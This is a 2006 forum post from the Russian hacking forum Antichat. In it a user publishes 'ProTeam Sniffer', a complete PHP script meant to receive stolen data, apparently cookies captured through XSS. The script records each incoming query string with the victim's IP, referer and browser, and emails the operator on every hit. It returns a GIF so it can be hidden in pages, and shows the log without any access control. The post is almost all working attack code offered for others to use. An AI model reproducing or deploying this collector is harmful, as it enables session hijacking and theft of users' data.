ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

ProTeam Sniffer by Developer aka RUSH
  #1  
Старый 07.05.2006, 23:17
Аватар для Developer
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
Post ProTeam Sniffer by Developer aka RUSH

Вот, наконец-то я решил взяться за написание хорошего сниффера. Написал первую версия и вот, выкладываю ее на обозрение.

Код:
<?php

// Конфигурация
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img']   = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from']  = "Sniffer@example.com"; // Адрес, с которого будут отправляться уведомления.
$config['name']  = "Sniffer: new query"; // Тема письма.
$config['new']   = "New query at"; // Фраза, вставляемая перед временем запроса.

// Подавляем вывод ошибок
error_reporting(0);

function index()
{
    global $config;
    // Проверки на несуществующие или пустые индексы
    if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
        $_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
    }
    if (empty($_SERVER['QUERY_STRING'])) {
        $_SERVER['QUERY_STRING'] = "None";
    }
    if (empty($_SERVER['HTTP_REFERER'])) {
        $_SERVER['HTTP_REFERER'] = "Hide";
    }
    // Создание массива
    $info['date'] = date("d.m.Y H:i:s");
    $info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
    $info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $info['referer'] = $_SERVER['HTTP_REFERER'];
    $info['agent'] = $_SERVER['HTTP_USER_AGENT'];
    $info['query'] = urldecode($_SERVER['QUERY_STRING']);
    // Создание строки
    $string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
    // Запись строки в файл
    $link = fopen($config['file'], "a");
    fwrite($link, $string);
    fclose($link);
    unset($string, $link);
    // Отправка уведомления на E-Mail
    if (!empty($config['email'])) {
        $script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
        $text = $config['new']." ".$info['date']."\r\n".$script;
        mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
        unset($script, $text);
    }
    unset($info);
    // Вывод изображения
    if (!empty($config['img'])) {
        $image = file_get_contents($config['img']);
        header("Content-type: image/gif");
        header("Content-length: ".strlen($image));
        echo $image;
        unset($image);
    }
}

function view() {
    global $config;
    $file = file($config['file']);
    foreach ($file as $string)
    {
        $array = explode("||", $string);
        foreach ($array as $value)
        {
            echo $value."<br />\n";
        }
    echo "<hr />\n";
    }
}

if (empty($_GET['mode'])) {
    $_GET['mode'] = "index";
}

switch ($_GET['mode'])
{
    case "view":
        view();
        break;
    default:
        index();
        break;
}

?>
Сниффер может посылать уведомление на e-mail, показывать картинку, записывать данные в файл и выводить их.

В ближайшее время планируется релиз версии 1.1, 1.2 и 2.0.

В версии 1.1 будет переработана система вывода запросов - будет разработан дизайн.
В версии 1.2 будет возможность очищать лог сниффера прямой из веб-интерфейса.
И самая крутая фишка, которая нас ожидает в версии 2.0 - при поступлении запроса, сниффер будет мгновенно отправлять сообщение на ICQ (Я думаю у настоящего хакера эта тузла включена постоянно).

А сейчас вы можете потестить первую версию и выложить свои мысли по ней )) Да прибудет с тобой сила, тестер!

Последний раз редактировалось Developer; 07.05.2006 в 23:20..
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ